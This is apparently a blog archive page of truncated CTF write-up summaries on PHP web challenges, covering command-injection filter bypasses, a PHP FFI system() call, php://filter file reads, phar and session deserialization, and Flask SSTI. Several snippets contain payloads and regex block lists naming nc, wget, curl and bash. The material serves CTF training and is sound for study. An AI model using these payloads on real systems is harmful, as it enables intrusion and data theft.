10 2022 档案
摘要:full以后发现题目给了如下字符(几个特殊字符+大写英文字母) 我们利用系统环境变量来构造我们需要的命令: ${PATH:~A}${PWD:~A}${IFS}???????? nl flag.php 自己本地试试就明白命令了。
阅读全文
摘要:$ffi = FFI::cdef("int system(const char *command);"); $a='/readflag > 1.txt'; $ffi->system($a);
阅读全文
摘要:if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); $s = ob_get_contents(); ob_end_clean(); echo preg_replace("/[0-9]|[a-z]/i","?",$s); }else{ highligh
阅读全文
摘要:先说下适用条件: PHP版本:7.0.15 - 7.0.33, 7.1.1 - 7.1.33, 7.2.0 - 7.2.34, 7.3.0 - 7.3.28, 7.4.0 - 7.4.16, 8.0.0 - 8.0.3。 变量的初始化不在__construct里,而是在外面进行赋值,如下一样。(co
阅读全文
摘要:<?php error_reporting(0); if (isset($_GET['hint'])) { highlight_file(__FILE__); } if (isset($_POST['rce'])) { $rce = $_POST['rce']; if (strlen($rce) <
阅读全文
摘要://拼接sql语句查找指定ID用户 $sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;"; //对传入的参数进行了过滤 fu
阅读全文
摘要:<?php highlight_file(__FILE__); class ease{ private $method; private $args; function __construct($method, $args) { $this->method = $method; $this->arg
阅读全文
摘要:if(isset($_POST['ctf'])){ $ctfshow = $_POST['ctf']; if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) { $ctfshow('',$_GET['show']); } } 首先第一个知识点: 正则绕过很明显,
阅读全文
摘要:if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; i
阅读全文
摘要:if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; i
阅读全文
摘要:function check($x){ if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pi
阅读全文
摘要:if($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){ eval(substr($F,0,6)); }else{ die("6个字母都还不够呀?!"); } } get传参 F=`$F
阅读全文
摘要:if(isset($_POST['f'])){ //$f = (String)$_POST['f']; if(preg_match('/.+?ctfshow/is', $f)){ die('bye!'); } if(stripos($f,'36Dctfshow') FALSE){ die('bye!
阅读全文
摘要:if(isset($_GET['f'])){ $f = $_GET['f']; if(stripos($f, 'ctfshow')>0){ echo readfile($f); } } 用php伪协议绕过,filter伪协议支持多种编码方式,无效的就被忽略掉了。 payload:?f=php://f
阅读全文
摘要:_()是一个函数 _()==gettext() 是gettext()的拓展函数,开启text扩展。需要php扩展目录下有php_gettext.dll get_defined_vars()函数 get_defined_vars — 返回由所有已定义变量所组成的数组 这样可以获得 $flag payl
阅读全文
摘要:$a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ if(!preg_match("/\\\\|\/|\
阅读全文
摘要:$a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ if(!preg_match("/\\\\|\/|\
阅读全文
摘要:function filter($num){ $num=str_replace("0x","1",$num); $num=str_replace("0","1",$num); $num=str_replace(".","1",$num); $num=str_replace("e","1",$num)
阅读全文
摘要:$file=$_GET['file']; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; } 这里的is_file函数,在使用php的伪协议时候会返回false,除了file://协议以外。 因此
阅读全文
摘要:function getFlag(&$v1,&$v2){ eval("$$v1 = &$$v2;"); var_dump($$v1); } if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2
阅读全文
摘要:<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-29 22:49:10 */
阅读全文
摘要:<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-29 22:02:34 */
阅读全文
摘要:<?php /* # -*- coding: utf-8 -*- # @Author: Firebasky # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-28 22:34:0
阅读全文
摘要:<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-22 00:26:48 # @
阅读全文
摘要:<?php highlight_file(__FILE__); $allow = array();//设置为数组 for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i));//向数组里面插入随机数 } i f(isset($_GET
阅读全文
摘要:<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-21 22:10:28 # @
阅读全文
摘要:WEB 151(前端验证限制后缀) 1.在有的时候可以选择禁用js代码来实现绕过,但该题不可。 2.看具体前端过滤了啥,能在页面直接修改代码最好,该题可以使用该方法。 3.先上传符合规定的文件类型,然后抓包在bp中修改数据绕过过滤,该题也可用该方法。 WEB 152(限制Content-Type)
阅读全文
摘要:能够触发phar反序列化的函数如下: fopen() unlink() stat() fstat() fseek() rename() opendir() rmdir() mkdir() file_put_contents() file_get_contents() file_exists() fi
阅读全文
摘要:<?php highlight_file(__FILE__); if(isset($_GET['url'])) { $url=$_GET['url']; if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|ph
阅读全文
摘要:<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_fi
阅读全文
摘要:<?php highlight_file(__FILE__); $key1 = 0; $key2 = 0; $a = $_GET['a']; $b = $_GET['b']; if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){ if(i
阅读全文
摘要:<?php //php5.5.9 $stuff = $_POST["stuff"]; $array = ['admin', 'user']; if($stuff $array && $stuff[0] != 'admin') { $num= $_POST["num"]; if (preg_match
阅读全文
摘要:<?php echo 1; ?> 正常写法 <? echo 1; ?> 短标签写法,5.4 起 <?= 'hello'; <? echo 'hello'; <?= phpinfo();?> <% echo 1; %> asp 风格写法 <script language="php"> echo 1;
阅读全文
摘要:看到ini_set('session.serialize_handler', 'php');让我不由自主的想起了session反序列化漏洞的一道题。直接百度会有很多文章这里不多介绍。 那么我们如何找到代码入口将利用代码写入到session文件?想要写入session文件就得想办法在$_SESSION
阅读全文
摘要:题目附件代码如下: # Author: # Achilles # Time: # 2022-9-20 # For: # ctfshow import base64 import pickle, pickletools import uuid from flask import Flask, requ
阅读全文
摘要:首先get传递参数mode=0得到源码 Your mode is the guest!hello,the repairman! <?php error_reporting(0); session_start(); $config['secret'] = Array(); include 'confi
阅读全文
摘要:关于前期的信息收集: 源码泄漏user.php.bak和flag.php (如果有机会尝试读取这个文件)这两个有用的。 查看源码泄漏中对blog的过滤部分,然后通过join页面随便输入一个符合规定的blog完成我们的注册。 然后随便点击几下,发现http://61.147.171.105:61712
阅读全文
摘要:我们用如下环境进行讲解(flask-jinja2): from flask import Flask from flask import render_template from flask import request from flask import render_template_strin
阅读全文